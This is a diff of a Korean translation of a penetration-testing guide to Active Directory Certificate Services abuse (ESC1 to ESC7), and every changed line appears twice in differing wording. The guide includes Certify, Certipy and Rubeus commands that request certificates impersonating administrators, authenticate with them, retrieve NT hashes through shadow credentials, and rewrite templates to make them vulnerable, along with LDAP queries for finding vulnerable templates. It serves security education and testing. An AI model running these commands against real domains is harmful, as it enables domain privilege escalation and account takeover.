* **인증서 템플릿은 인증을 용이하게 하는 EKU(Extended Key Usage)를 정의하기 위해 구성됩니다:**
|
||||
* 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그온 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 확장 키 사용 (EKU) 식별자가 포함됩니다.
|
||||
* **인증서 서명 요청 (CSR)에서 requesters가 subjectAltName을 포함할 수 있는 능력이 템플릿에서 허용됩니다:**
|
||||
* Active Directory (AD)는 인증서의 신원 확인을 위해 인증서에 포함된 subjectAltName (SAN)을 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 모든 사용자 (예: 도메인 관리자)를 표현할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지 여부는 인증서 템플릿의 AD 개체를 통해 `mspki-certificate-name-flag` 속성으로 나타납니다. 이 속성은 비트마스크이며 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그의 존재는 요청자가 SAN을 지정할 수 있도록 허용합니다.
|
||||
* **인증된 인원의 서명이 필요하지 않습니다.**
|
||||
* **인증서 템플릿의 보안 기술서는 너무 허용적이어서 낮은 권한을 가진 사용자가 등록 권한을 얻을 수 있습니다.**
|
||||
* **인증서 템플릿은 인증을 용이하게 하는 EKU(Extended Key Usage)를 정의하도록 구성됩니다:**
|
||||
* 클라이언트 인증 (OID 1.3.6.1.5.5.7.3.2), PKINIT 클라이언트 인증 (1.3.6.1.5.2.3.4), 스마트 카드 로그온 (OID 1.3.6.1.4.1.311.20.2.2), 모든 용도 (OID 2.5.29.37.0) 또는 EKU 없음 (SubCA)과 같은 EKU 식별자가 포함됩니다.
|
||||
* **요청자가 인증서 서명 요청(CSR)에 subjectAltName을 포함할 수 있는 기능이 템플릿에서 허용됩니다:**
|
||||
* 주체 대체 이름(SAN)이 인증서에 포함되어 있으면 Active Directory(AD)는 주체 대체 이름(SAN)을 확인하기 위해 인증서에서 우선시합니다. 이는 CSR에서 SAN을 지정함으로써 인증서를 요청하여 모든 사용자(예: 도메인 관리자)를 표현할 수 있음을 의미합니다. 요청자가 SAN을 지정할 수 있는지 여부는 인증서 템플릿의 AD 개체에서 `mspki-certificate-name-flag` 속성을 통해 나타납니다. 이 속성은 비트마스크이며 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그의 존재는 요청자가 SAN을 지정할 수 있도록 허용합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
설정된 구성은 낮은 권한을 가진 사용자가 원하는 SAN을 가진 인증서를 요청하여 Kerberos 또는 SChannel을 통해 모든 도메인 주체로 인증할 수 있도록 허용합니다.
|
||||
설정된 구성은 낮은 권한을 가진 사용자가 선택한 SAN을 사용하여 인증서를 요청할 수 있도록 하므로 Kerberos 또는 SChannel을 통해 모든 도메인 주체로 인증할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이 기능은 때때로 제품이나 배포 서비스에 의해 HTTPS 또는 호스트 인증서의 동적 생성을 지원하기 위해 활성화되거나 이해력의 부족으로 인해 활성화됩니다.
|
||||
이 기능은 때로는 제품이나 배포 서비스에 의해 HTTPS 또는 호스트 인증서를 동적으로 생성하거나 이해 부족으로 인해 활성화된 경우가 있습니다.
|
||||
|
||||
이 옵션으로 인증서를 생성하면 기존 인증서 템플릿(예: `WebServer` 템플릿)을 복제한 다음 인증 OID를 포함하도록 수정하는 경우와 달리 경고가 트리거됩니다.
|
||||
이 옵션을 사용하여 인증서를 생성하면 기존 인증서 템플릿(예: `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`가 활성화된 `WebServer` 템플릿)을 복제한 다음 인증 OID를 포함하여 수정하는 경우 경고가 트리거됨을 주의해야 합니다.
|
||||
|
||||
### 남용
|
||||
|
||||
**취약한 인증서 템플릿을 찾기 위해** 다음을 실행할 수 있습니다:
|
||||
**취약한 인증서 템플릿을 찾으려면** 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
**이 취약점을 악용하여 관리자를 위장**하기 위해 다음을 실행할 수 있습니다:
|
||||
**이 취약점을 악용하여 관리자를 사칭**하기 위해 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
그런 다음 생성된 **인증서를 `.pfx` 형식으로 변환**하고 다시 Rubeus 또는 certipy를 사용하여 **인증**할 수 있습니다:
|
||||
그럼 생성된 **인증서를 `.pfx` 형식**으로 변환하고 다시 **Rubeus 또는 certipy를 사용하여 인증**할 수 있습니다:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Windows 바이너리 "Certreq.exe" 및 "Certutil.exe"는 PFX를 생성하는 데 사용될 수 있습니다: [https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee](https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee)
|
||||
Windows 이진 파일 "Certreq.exe" 및 "Certutil.exe"를 사용하여 PFX를 생성할 수 있습니다: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
AD Forest의 구성 스키마 내에서 인증서 템플릿의 열거는 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다. 특히, 승인이나 서명이 필요하지 않으며, 클라이언트 인증 또는 스마트 카드 로그온 EKU를 가지고 있으며, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화된 경우입니다.
|
||||
AD Forest의 구성 스키마 내에서 인증서 템플릿을 열거할 수 있습니다. 특히, 승인이나 서명이 필요하지 않는 템플릿, 클라이언트 인증 또는 스마트 카드 로그온 EKU를 보유하며 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그가 활성화된 템플릿은 다음 LDAP 쿼리를 실행하여 수행할 수 있습니다:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
|
@ -69,21 +74,21 @@ AD Forest의 구성 스키마 내에서 인증서 템플릿의 열거는 다음
|
|||
|
||||
### 설명
|
||||
|
||||
두 번째 남용 시나리오는 첫 번째와 다소 다릅니다:
|
||||
두 번째 악용 시나리오는 첫 번째와 유사한 변형입니다:
|
||||
|
||||
1. 기업 CA에서 낮은 권한을 가진 사용자에게 인증서 발급 권한이 부여됩니다.
|
||||
1. 기업 CA에 의해 저급 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
2. 관리자 승인 요구 사항이 비활성화됩니다.
|
||||
3. 승인된 서명 필요 사항이 생략됩니다.
|
||||
4. 인증서 템플릿에 지나치게 허용되는 보안 설명자가 있어 낮은 권한을 가진 사용자에게 인증서 발급 권한이 부여됩니다.
|
||||
5. **인증서 템플릿에는 Any Purpose EKU 또는 EKU가 없습니다.**
|
||||
4. 인증서 템플릿에 대한 지나치게 허용적인 보안 설명자가 낮은 권한을 가진 사용자에게 인증서 등록 권한을 부여합니다.
|
||||
5. **인증서 템플릿은 Any Purpose EKU 또는 EKU가 없도록 정의됩니다.**
|
||||
|
||||
**Any Purpose EKU**는 인증서를 어떤 목적으로든 사용할 수 있도록 허용합니다. 클라이언트 인증, 서버 인증, 코드 서명 등을 포함합니다. 이 **ESC3에 사용된 기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
|
||||
**Any Purpose EKU**는 인증서를 **클라이언트 인증, 서버 인증, 코드 서명 등을 포함한 모든 목적**으로 획득할 수 있도록 합니다. **ESC3에 사용된 기술**과 동일한 **기술**을 사용하여 이 시나리오를 악용할 수 있습니다.
|
||||
|
||||
**EKU가 없는 인증서**는 하위 CA 인증서로 작동하며, **어떤 목적**으로든 악용될 수 있으며 **새 인증서에 서명**할 수도 있습니다. 따라서 공격자는 하위 CA 인증서를 사용하여 새 인증서에 임의의 EKU나 필드를 지정할 수 있습니다.
|
||||
**EKU가 없는** 인증서는 하위 CA 인증서로 작동하며 **모든 목적**으로 악용될 수 있으며 **새 인증서에 서명하는 데 사용**될 수 있습니다. 따라서 공격자는 하위 CA 인증서를 활용하여 새 인증서에 임의의 EKU나 필드를 지정할 수 있습니다.
|
||||
|
||||
그러나 **도메인 인증**용으로 생성된 새 인증서는 **`NTAuthCertificates`** 개체에서 신뢰하지 않는 경우 작동하지 않습니다. 이는 기본 설정입니다. 그럼에도 불구하고, 공격자는 여전히 **임의의 EKU**와 임의의 인증서 값을 가진 **새 인증서를 생성**할 수 있습니다. 이러한 인증서는 잠재적으로 코드 서명, 서버 인증 등과 같은 다양한 목적으로 **악용**될 수 있으며 SAML, AD FS 또는 IPSec와 같은 네트워크의 다른 응용 프로그램에 중대한 영향을 줄 수 있습니다.
|
||||
그러나 **도메인 인증**을 위해 생성된 새 인증서는 **`NTAuthCertificates`** 개체에 의해 신뢰되지 않는 경우(기본 설정) 하위 CA에 의해 신뢰되지 않는 경우 작동하지 않습니다. 그러나 공격자는 여전히 **임의의 EKU** 및 임의의 인증서 값으로 **새 인증서를 생성**할 수 있습니다. 이러한 인증서는 다양한 목적(예: 코드 서명, 서버 인증 등)으로 **악용**될 수 있으며 SAML, AD FS 또는 IPSec와 같은 네트워크의 다른 응용 프로그램에 중대한 영향을 미칠 수 있습니다.
|
||||
|
||||
AD Forest의 구성 스키마에서 이 시나리오와 일치하는 템플릿을 열거하려면 다음 LDAP 쿼리를 실행할 수 있습니다:
|
||||
AD Forest의 구성 스키마 내에서 이 시나리오와 일치하는 템플릿을 나열하려면 다음 LDAP 쿼리를 실행할 수 있습니다:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
|
@ -91,31 +96,31 @@ AD Forest의 구성 스키마에서 이 시나리오와 일치하는 템플릿
|
|||
|
||||
### 설명
|
||||
|
||||
이 시나리오는 첫 번째와 두 번째 시나리오와 유사하지만 **다른 EKU**(인증서 요청 에이전트)와 **2개의 다른 템플릿**을 **남용**합니다.
|
||||
이 시나리오는 첫 번째와 두 번째와 유사하지만 **다른 EKU**(인증서 요청 에이전트)를 **남용**하고 **2개의 다른 템플릿**을 사용합니다(따라서 2개의 요구 사항 세트가 있음).
|
||||
|
||||
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **Enrollment Agent**로 알려져 있으며, 주체가 **다른 사용자를 대신하여 인증서를 등록**할 수 있도록 합니다.
|
||||
**인증서 요청 에이전트 EKU**(OID 1.3.6.1.4.1.311.20.2.1)는 Microsoft 문서에서 **Enrollment Agent**로 알려져 있으며 주체가 **다른 사용자를 대신하여 인증서를 등록**할 수 있도록 합니다.
|
||||
|
||||
**"등록 에이전트"**는 이러한 **템플릿**에 등록하고 결과로 얻은 **인증서를 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하여 "대신 등록"을 허용하는 **템플릿**에 등록하고, CA는 "다른" 사용자에 속하는 **인증서를 응답**합니다.
|
||||
**"등록 에이전트"**는 이러한 **템플릿**에 등록하고 결과로 나온 **인증서를 다른 사용자를 대신하여 CSR에 공동 서명**합니다. 그런 다음 **공동 서명된 CSR**을 CA에 **전송**하여 **"대신하여 등록"을 허용하는 템플릿에 등록**하고 CA는 **"다른" 사용자에게 속한 인증서**로 응답합니다.
|
||||
|
||||
**요구 사항 1:**
|
||||
|
||||
- 기업 CA에서 저레벨 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
- 관리자 승인 요구 사항이 생략됩니다.
|
||||
- 승인된 서명 요구 사항이 없습니다.
|
||||
- 인증서 템플릿의 보안 설명자가 지나치게 허용되어 저레벨 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
- 인증서 템플릿에는 인증서 요청 에이전트 EKU가 포함되어 있어 다른 주체를 대신하여 다른 인증서 템플릿을 요청할 수 있습니다.
|
||||
* 기업 CA에 의해 낮은 권한을 가진 사용자에게 등록 권한이 부여됨.
|
||||
* 관리자 승인 요구 사항이 생략됨.
|
||||
* 승인된 서명 요구 사항이 없음.
|
||||
* 인증서 템플릿의 보안 설명자가 지나치게 허용되어 낮은 권한을 가진 사용자에게 등록 권한이 부여됨.
|
||||
* 인증서 템플릿에는 인증서 요청 에이전트 EKU가 포함되어 있어 다른 주체를 대신하여 다른 인증서 템플릿을 요청할 수 있음.
|
||||
|
||||
**요구 사항 2:**
|
||||
|
||||
- 기업 CA에서 저레벨 권한을 가진 사용자에게 등록 권한이 부여됩니다.
|
||||
- 관리자 승인이 우회됩니다.
|
||||
- 템플릿의 스키마 버전이 1이거나 2를 초과하며, 인증서 요청 에이전트 EKU를 필요로 하는 응용 프로그램 정책 발급 요구 사항을 지정합니다.
|
||||
- 인증서 템플릿에서 정의된 EKU가 도메인 인증을 허용합니다.
|
||||
- CA에서 등록 에이전트에 대한 제한이 적용되지 않습니다.
|
||||
* 기업 CA가 낮은 권한을 가진 사용자에게 등록 권한을 부여함.
|
||||
* 관리자 승인이 우회됨.
|
||||
* 템플릿의 스키마 버전이 1이거나 2를 초과하며 인증서 요청 에이전트 EKU를 필요로 하는 Application Policy Issuance Requirement가 지정됨.
|
||||
* 인증서 템플릿에서 정의된 EKU가 도메인 인증을 허용함.
|
||||
* CA에 대해 등록 에이전트에 대한 제한이 적용되지 않음.
|
||||
|
||||
### 남용
|
||||
|
||||
이 시나리오를 남용하기 위해 [**Certify**](https://github.com/GhostPack/Certify) 또는 [**Certipy**](https://github.com/ly4k/Certipy)를 사용할 수 있습니다.
|
||||
이 시나리오를 남용하기 위해 [**Certify**](https://github.com/GhostPack/Certify) 또는 [**Certipy**](https://github.com/ly4k/Certipy)를 사용할 수 있습니다:
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
|
||||
|
@ -129,39 +134,39 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
|||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
**사용자**가 **등록 에이전트 인증서**를 **획득**할 수 있는지 여부, 등록 **에이전트**가 등록할 수 있는 템플릿 및 등록 에이전트가 대신 작동할 **계정**은 기업 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고 CA를 **마우스 오른쪽 버튼으로 클릭**한 다음 **속성**을 클릭한 다음 “등록 에이전트” 탭으로 이동하여 달성할 수 있습니다.
|
||||
**사용자**들은 **등록 에이전트 인증서**를 **획득**할 수 있는 **템플릿** 및 **등록 에이전트**가 등록할 수 있는 템플릿, 그리고 등록 에이전트가 작동할 **계정**들을 기업 CA에 의해 제한될 수 있습니다. 이는 `certsrc.msc` **스냅인**을 열고 **CA를 마우스 오른쪽 클릭**하여 **속성을 클릭**한 다음 “Enrollment Agents” 탭으로 **이동**함으로써 달성됩니다.
|
||||
|
||||
그러나 CA의 **기본 설정**은 “등록 에이전트 제한 없음”입니다. 등록 에이전트에 대한 제한이 관리자에 의해 활성화되면 “등록 에이전트 제한”으로 설정하더라도 기본 구성은 매우 허용적입니다. 이는 **모든 사람**이 누구든지 모든 템플릿에 대해 등록할 수 있도록 허용합니다.
|
||||
그러나 CA의 **기본** 설정은 “**등록 에이전트 제한 없음**”으로 되어 있다는 것에 유의해야 합니다. 관리자가 등록 에이전트에 대한 제한을 활성화하면, “등록 에이전트 제한”으로 설정하더라도 기본 구성은 매우 허용적인 상태로 유지됩니다. 이는 **모든 사용자**가 누구나 모든 템플릿에 등록할 수 있도록 허용합니다.
|
||||
|
||||
## 취약한 인증서 템플릿 액세스 제어 - ESC4
|
||||
|
||||
### **설명**
|
||||
|
||||
인증서 템플릿의 **보안 설명자**는 템플릿과 관련된 특정 **AD 주체**가 가지는 **권한**을 정의합니다.
|
||||
**인증서 템플릿**의 **보안 설명자**는 **AD 주체**들이 템플릿에 대해 보유한 **권한**을 정의합니다.
|
||||
|
||||
**공격자**가 템플릿을 **변경**하고 **이전 섹션에서 설명한 취약한 구성**을 적용할 **권한**을 가지고 있다면 권한 상승이 용이해질 수 있습니다.
|
||||
**공격자**가 **템플릿을 변경**하고 **이전 섹션에서 설명한 취약한 구성**을 **도입**할 **필요한 권한**을 가지고 있다면, 특권 상승이 용이해질 수 있습니다.
|
||||
|
||||
인증서 템플릿에 적용되는 주요 권한은 다음과 같습니다:
|
||||
|
||||
- **소유자:** 객체에 대한 암묵적인 제어를 부여하여 모든 속성을 수정할 수 있게 합니다.
|
||||
- **FullControl:** 객체에 대한 완전한 권한을 부여하여 모든 속성을 변경할 수 있게 합니다.
|
||||
- **WriteOwner:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 합니다.
|
||||
- **WriteDacl:** 액세스 제어를 조정하여 공격자에게 FullControl 권한을 부여할 수 있게 합니다.
|
||||
- **WriteProperty:** 객체 속성을 편집할 수 있게 권한을 부여합니다.
|
||||
* **소유자:** 객체에 대한 암시적 제어를 부여하여 모든 속성을 수정할 수 있게 합니다.
|
||||
* **FullControl:** 객체에 대한 완전한 권한을 부여하여 모든 속성을 변경할 수 있게 합니다.
|
||||
* **WriteOwner:** 객체의 소유자를 공격자가 제어하는 주체로 변경할 수 있게 합니다.
|
||||
* **WriteDacl:** 액세스 제어를 조정하여 공격자에게 FullControl을 부여할 수 있게 합니다.
|
||||
* **WriteProperty:** 모든 객체 속성을 편집할 수 있게 합니다.
|
||||
|
||||
### 남용
|
||||
|
||||
이전과 같은 권한 상승의 예:
|
||||
이전과 같은 특권 상승의 예시:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가지고 있는 경우입니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어쓰고 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
|
||||
ESC4는 사용자가 인증서 템플릿에 대한 쓰기 권한을 가지고 있는 경우입니다. 이는 예를 들어 인증서 템플릿의 구성을 덮어쓰고 해당 템플릿을 ESC1에 취약하게 만들기 위해 남용될 수 있습니다.
|
||||
|
||||
위 경로에서는 `JOHNPC`만 이러한 권한을 가지고 있지만, 사용자 `JOHN`은 `JOHNPC`로의 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술은 인증서와 관련이 있으므로 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려진 이 공격도 구현했습니다. 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령의 간단한 미리보기입니다.
|
||||
위 경로에서 볼 수 있듯이, 이러한 권한을 가진 사용자는 `JOHNPC`뿐이지만, 우리 사용자 `JOHN`은 `JOHNPC`에 대한 새로운 `AddKeyCredentialLink` 엣지를 가지고 있습니다. 이 기술은 인증서와 관련이 있기 때문에, 흔히 [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)로 알려진 이 공격을 구현했습니다. 여기에는 피해자의 NT 해시를 검색하기 위한 Certipy의 `shadow auto` 명령어의 간단한 미리보기가 있습니다.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy**는 단일 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본 설정**으로 Certipy는 구성을 덮어쓰고 ESC1에 취약하게 만듭니다. 우리는 또한 **`-save-old` 매개변수를 지정하여 이전 구성을 저장**할 수 있으며, 이는 공격 후 구성을 **복원하는 데 유용**합니다.
|
||||
**Certipy**는 하나의 명령으로 인증서 템플릿의 구성을 덮어쓸 수 있습니다. **기본적으로**, Certipy는 구성을 덮어쓰기하여 ESC1에 취약하게 만듭니다. 또한 **`-save-old` 매개변수를 지정하여 이전 구성을 저장**할 수도 있으며, 이는 **공격 후 구성을 복원하는 데 유용**할 것입니다.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
|
@ -176,33 +181,33 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
|||
|
||||
### 설명
|
||||
|
||||
인증서 템플릿과 인증서 기관을 포함한 여러 객체를 연결하는 ACL 기반의 복잡한 웹은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 중대한 영향을 미칠 수 있는 이러한 객체는 다음과 같습니다.
|
||||
인증서 템플릿 및 인증서 기관을 넘어서는 여러 객체를 포함하는 ACL 기반 관계의 방대한 웹은 전체 AD CS 시스템의 보안에 영향을 미칠 수 있습니다. 보안에 상당한 영향을 미칠 수 있는 이러한 객체는 다음과 같습니다:
|
||||
|
||||
* CA 서버의 AD 컴퓨터 객체는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 침해될 수 있습니다.
|
||||
* CA 서버의 AD 컴퓨터 객체는 S4U2Self 또는 S4U2Proxy와 같은 메커니즘을 통해 손상될 수 있습니다.
|
||||
* CA 서버의 RPC/DCOM 서버.
|
||||
* 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내의 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 Enrollment Services 컨테이너와 같은 컨테이너 및 객체가 포함될 수 있습니다.
|
||||
* 특정 컨테이너 경로 `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 내 하위 AD 객체 또는 컨테이너. 이 경로에는 인증서 템플릿 컨테이너, 인증 기관 컨테이너, NTAuthCertificates 객체 및 Enrollment Services 컨테이너와 같은 컨테이너 및 객체가 포함되어 있습니다.
|
||||
|
||||
PKI 시스템의 보안은 권한이 낮은 공격자가 이러한 중요한 구성 요소 중 하나를 제어할 수 있다면 침해될 수 있습니다.
|
||||
PKI 시스템의 보안이 저렴한 특권을 가진 공격자가 이러한 중요한 구성 요소 중 하나를 제어할 수 있다면 위험에 노출될 수 있습니다.
|
||||
|
||||
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### 설명
|
||||
|
||||
[**CQure Academy 게시물**](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 설명한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 영향에도 언급됩니다. 이 구성은 인증 기관(CA)에서 활성화되면 Active Directory®에서 구성된 요청을 포함하여 **임의의 값**을 **대체 이름**에 포함할 수 있게 합니다. 따라서 이 구성을 통해 **침입자**는 도메인 **인증**에 설정된 **임의의 템플릿**을 통해 등록할 수 있습니다. 특히 일반 사용자 템플릿과 같이 **권한이 없는** 사용자 등록이 가능한 템플릿입니다. 결과적으로, 침입자는 도메인 관리자 또는 도메인 내 **다른 활성 엔티티**로 인증할 수 있는 인증서를 획득할 수 있습니다.
|
||||
[CQure Academy 게시물](https://cqureacademy.com/blog/enhanced-key-usage)에서 논의된 주제는 Microsoft에서 제시한 **`EDITF_ATTRIBUTESUBJECTALTNAME2`** 플래그의 영향에 대해 다룹니다. 이 구성은 인증 기관(CA)에서 활성화되면 **사용자 정의 값**을 **주제 대체 이름**에 포함할 수 있도록 허용하며, 이는 Active Directory®에서 생성된 요청을 포함한 **모든 요청**에 대해 적용됩니다. 결과적으로 이 제공은 **침입자**가 도메인 **인증**을 위해 설정된 **모든 템플릿**을 통해 등록할 수 있도록 허용합니다. 특히 일반 사용자 템플릿과 같이 **특권이 없는** 사용자 등록을 허용하는 경우에 해당합니다. 결과적으로 인증서를 안전하게 유지하여 침입자가 도메인 관리자로 인증하거나 도메인 내 **다른 활성 엔티티**로 인증할 수 있습니다.
|
||||
|
||||
**참고**: `certreq.exe`의 `-attrib "SAN:"` 인자를 통해 인증서 서명 요청(CSR)에 **대체 이름**을 추가하는 접근 방식은 ESC1에서 SAN을 악용하는 전략과 **대조적**입니다. 여기서의 차이점은 계정 정보가 확장자가 아닌 인증서 속성 내에 캡슐화된다는 점에 있습니다.
|
||||
**참고**: `certreq.exe`의 `-attrib "SAN:"` 인수를 통해 **대체 이름**을 **인증서 서명 요청**(CSR)에 추가하는 접근 방식(“이름 값 쌍”로 참조됨)은 ESC1에서 SAN의 악용 전략과 대조를 이룹니다. 여기서 차이점은 **계정 정보가** 어떻게 **캡슐화되는지**에 있습니다—인증서 속성 내에서 확장이 아닌.
|
||||
|
||||
### 악용
|
||||
### 남용
|
||||
|
||||
조직은 `certutil.exe`를 사용하여 설정이 활성화되었는지 확인하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
설정이 활성화되었는지 확인하려면 조직은 `certutil.exe`를 사용하여 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
이 작업은 본질적으로 **원격 레지스트리 액세스**를 사용하므로 대안적인 접근 방법은 다음과 같을 수 있습니다:
|
||||
이 작업은 본질적으로 **원격 레지스트리 액세스**를 사용하므로 대안적인 접근 방식은 다음과 같을 수 있습니다:
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
다음과 같은 도구들인 [**Certify**](https://github.com/GhostPack/Certify)과 [**Certipy**](https://github.com/ly4k/Certipy)는 이러한 잘못된 구성을 감지하고 이를 악용할 수 있습니다:
|
||||
도구인 [**Certify**](https://github.com/GhostPack/Certify)와 [**Certipy**](https://github.com/ly4k/Certipy)는 이 구성 오류를 감지하고 악용할 수 있습니다:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
|
@ -211,40 +216,40 @@ Certify.exe find
|
|||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
이러한 설정을 변경하려면, **도메인 관리자** 권한 또는 동등한 권한을 가지고 있다고 가정하고 다음 명령을 어떤 워크스테이션에서든 실행할 수 있습니다:
|
||||
이러한 설정을 변경하려면 **도메인 관리자** 권한 또는 동등한 권한이 있는 경우 다음 명령을 모든 워크스테이션에서 실행할 수 있습니다:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
이 구성을 환경에서 비활성화하려면 다음과 같이 플래그를 제거할 수 있습니다:
|
||||
환경에서 이 구성을 비활성화하려면 다음과 같이 플래그를 제거할 수 있습니다:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
2022년 5월 보안 업데이트 이후에 새로 발급된 **인증서**에는 **보안 확장 기능**이 포함되어 있으며, 이는 **요청자의 `objectSid` 속성**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 SAN이 아닌 **요청자의 `objectSid`를 반영**합니다.\
|
||||
ESC6을 악용하기 위해서는 시스템이 **ESC10 (약한 인증서 매핑)**에 취약해야 하며, 이는 새로운 보안 확장보다 **SAN을 우선시**합니다.
|
||||
2022년 5월 보안 업데이트 이후에는 새로 발급된 **인증서**에 **보안 확장 기능**이 포함됩니다. 이 확장 기능은 **요청자의 `objectSid` 속성**을 포함합니다. ESC1의 경우, 이 SID는 지정된 SAN에서 파생됩니다. 그러나 **ESC6**의 경우, SID는 SAN이 아닌 **요청자의 `objectSid`**를 반영합니다.\
|
||||
ESC6를 악용하기 위해서는 시스템이 **ESC10 (약한 인증서 매핑)**에 취약해야 하며, 이는 **SAN을 새 보안 확장 기능보다 우선시**합니다.
|
||||
{% endhint %}
|
||||
|
||||
## 취약한 인증서 기관 접근 제어 - ESC7
|
||||
## 취약한 인증서 권한 제어 - ESC7
|
||||
|
||||
### 공격 1
|
||||
|
